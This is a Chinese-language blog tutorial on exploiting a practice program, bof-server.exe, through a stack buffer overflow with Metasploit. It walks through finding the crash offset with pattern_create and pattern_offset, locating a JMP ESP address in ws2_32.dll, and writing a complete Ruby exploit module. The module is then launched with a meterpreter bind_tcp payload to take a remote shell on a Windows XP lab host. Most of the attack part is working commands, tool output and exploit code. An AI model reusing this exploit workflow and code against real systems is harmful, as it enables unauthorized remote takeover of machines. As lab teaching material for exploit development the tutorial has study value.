# 使用Metasploit实现对缓冲区栈的溢出攻击

这里我们不说理论,只讲实战,以Metasploit溢出bof-server.exe为例。

# 下载工具

这里需要下载bof-server.exe和ImmunityDebugger

bof-server.exe 下载地址为:[http://redstack.net/blog/category/How%20To.html](http://redstack.net/blog/category/How To.html)

ImmunityDebugger下载地址为:http://www.immunityinc.com/products/debugger/ (opens new window)

或者 https://download.csdn.net/download/l1028386804/10918212

# 开启bof-server.exe监听端口

这里,我们监听200端口,具体方法为:打开cmd命令行,切换到bof-server.exe所在的目录后执行如下命令:

bof-server.exe 200
1

此时,sof-server便开始监听200端口了。

# 生成字符序列

我们使用Metasploit中的pattern_create.rb脚本生成字符序列。首先我们查看以下pattern_create.rb脚本的帮助信息,在Kali命令行输入如下信息:

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
1
2
3
4
5
6
7
8
9

可以看到我们只要在pattern_create.rb脚本的后面加上"-l 字符序列长度"就可以生成指定长度的字符序列。这里,我们生成一个长度为1000的字符序列。

输入命令如下:

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
1
2

可以看到我们生成了一个1000的字符序列

# 将生成的字符序列发送到bof-server.exe监听的端口

接下来我们将这个字符序列发送到bof-server.exe监听的端口。

首先我们通过telnet连接上bof-server.exe。

root@binghe:~# telnet 192.168.109.141 200
Trying 192.168.109.141...
Connected to 192.168.109.141.
Escape character is '^]'.

> 
1
2
3
4
5
6

接下来我们发送字符序列,将第3步生成的字符序列复制到telnet终端,回车。

# 查看bof-server.exe命令行

接着,我们查看bof-server.exe命令行状态,可以看到如下图所示:

img

说明bof-server.exe程序发生了溢出。我们单击“请单击此处”查看详情,如下:

img

可以看到Offset的值为:72413372

# 找出准确字节数量

这里我们用到的工具是Metasploit下的pattern_offset.rb,首先我们先查看pattern_offset.rb脚本的帮助信息,输入如下命令:

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -h
Usage: msf-pattern_offset [options]
Example: msf-pattern_offset -q Aa3A
[*] Exact match at offset 9

Options:
    -q, --query Aa0A                 Query to Locate
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
1
2
3
4
5
6
7
8
9
10

可以看到-q参数为要查询的地址,-l参数为要查询的字符序列的长度。

根据第5步我们得出地址为:72413372,前面我们生成的字符序列的长度为1000

所以,我们输入如下命令来得出准确字节的数量

root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1000
[*] Exact match at offset 520
1
2

可以看到得出的结果为520

# 分析bof-server.exe运行时加载的DLL文件

这里,我们通过工具ImmunityDebugger工具来分析bof-server.exe运行时加载的DLL文件,可以到http://www.immunityinc.com/products/debugger/ 或者 https://download.csdn.net/download/l1028386804/10918212 下载。

具体操作如下:

打开ImmunityDebugger->File->Attach,来显示目标机上运行的所有进程。

img

打开之后,我们看到了目标机上的所有进程如下,同时,我们找到名称为bof-server.exe的进程,如下所示:

img

接下来,我们选中bof-server.exe进程,单击右下角的Attach按钮

img

此时,显示的是bof-server.exe的一些运行信息,如下:

img

接下来我们选择View->Executable modules,如下图:

img

点击后的效果如下图所示:

img

这里,就是bof-server.exe运行加载的所有DLL文件了。这里我们选择一个ws2_32.dll文件上传到Kali的/root目录下,通过Metasploit的msfbinscan查找JMP ESP指令的地址。

# 查找JMP ESP指令的地址

这里,我们用到的工具是Metasploit下的msfbinscan。首先我们要进入msf命令行,在Kali终端下输入如下命令:

msfconsole
1

查看msfbinscan的帮助信息,如下:

msf > msfbinscan -h
[*] exec: msfbinscan -h

Usage: /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/bin/msfbinscan [mode] <options> [targets]

Modes:
    -j, --jump [regA,regB,regC]      Search for jump equivalent instructions        [PE|ELF|MACHO]
    -p, --poppopret                  Search for pop+pop+ret combinations            [PE|ELF|MACHO]
    -r, --regex [regex]              Search for regex match                         [PE|ELF|MACHO]
    -a, --analyze-address [address]  Display the code at the specified address      [PE|ELF]
    -b, --analyze-offset [offset]    Display the code at the specified offset       [PE|ELF]
    -f, --fingerprint                Attempt to identify the packer/compiler        [PE]
    -i, --info                       Display detailed information about the image   [PE]
    -R, --ripper [directory]         Rip all module resources to disk               [PE]
        --context-map [directory]    Generate context-map files                     [PE]

Options:
    -A, --after [bytes]              Number of bytes to show after match (-a/-b)    [PE|ELF|MACHO]
    -B, --before [bytes]             Number of bytes to show before match (-a/-b)   [PE|ELF|MACHO]
    -I, --image-base [address]       Specify an alternate ImageBase                 [PE|ELF|MACHO]
    -D, --disasm                     Disassemble the bytes at this address          [PE|ELF]
    -F, --filter-addresses [regex]   Filter addresses based on a regular expression [PE]
    -h, --help                       Show this message
msf > 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

接下来我们输入如下命令来获取JMP ESP指令的地址:

msf > msfbinscan -j esp /root/ws2_32.dll
[*] exec: msfbinscan -j esp /root/ws2_32.dll

[/root/ws2_32.dll]
0x71a22b53 push esp; ret
msf > 
1
2
3
4
5
6

可以看到,我们得出的JMP ESP指令的地址为:0x71a22b53

# 编写攻击脚本bof_server_attack.rb

接下来,我们就要编写攻击脚本bof_server_attack.rb了,这里不多说了,直接上代码:

##
# Author 冰河
# Date 2019-01-15
# Description 缓冲区溢出sof-server从而拿下目标服务器Meterpreter Shell
##

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
  super(update_info(info,
    'Name' => 'Stack Based Buffer Overflow Example',
    'Description' => %q{
      Stack Based Overflow Example Application Exploitation Module
    },
    'Platform' => 'WIndows',
    'Author' => 
      [
        'binghe'
      ],
      
     'Payload' =>
      {
        'space' => 1000,
        'BadChars' => "\x00\xff"
      },
     'Targets' =>
      [
        ['Windows XP SP3', {'Ret' => 0x71a22b53, 'Offset' => 520}]
      ],
     'DisclosureDate' => '2019-01-15'
  ))
  
  register_options(
  [
    Opt::RPORT(200)
  ],self.class)
  end
  
  def exploit
    connect
    buf = make_nops(target['Offset'])
    buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    sock.put(buf)
    handler
    disconnect
   end
end
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

要注意的是:

'Targets' =>
  [
    ['Windows XP SP3', {'Ret' => 0x71a22b53, 'Offset' => 520}]
  ],
1
2
3
4

中的Ret的值要和第8步中我们找到的JMP ESP指令的地址一致, Offset的值要和第6步中找出的准确字节数一致。

# 上传bof_server_attack.rb脚本

将bof_server_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/masteringmetasploit/目录下。

# 运行攻击脚本

msfconsole
use exploit/windows/masteringmetasploit/bof_server_attack
set payload windows/meterpreter/bind_tcp
show options
set RHOST 192.168.109.141
show options
exploit
1
2
3
4
5
6
7

此时我们拿到了目标服务器的Meterpreter Shell,如下图所示:

img

此时,我们查看目标服务器的bof-server.exe终端,如下图所示:

img

# 可能出现的问题

有时我们运行exploit进行渗透拿Meterpreter Shell的时候,会出现不成功的情况,具体如下图:

img

此时,查看目标机的bof-server.exe命令行的缓冲区溢出并断开了监听。

img

此时,只需要在目标机上多运行几次bof-server.exe 200和在Kali上多运行几次exploit,直到成功拿到Meterpreter Shell。

# 写在最后

如果你觉得冰河写的还不错,请微信搜索并关注「 冰河技术 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 冰河技术 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 冰河技术 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 冰河技术 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!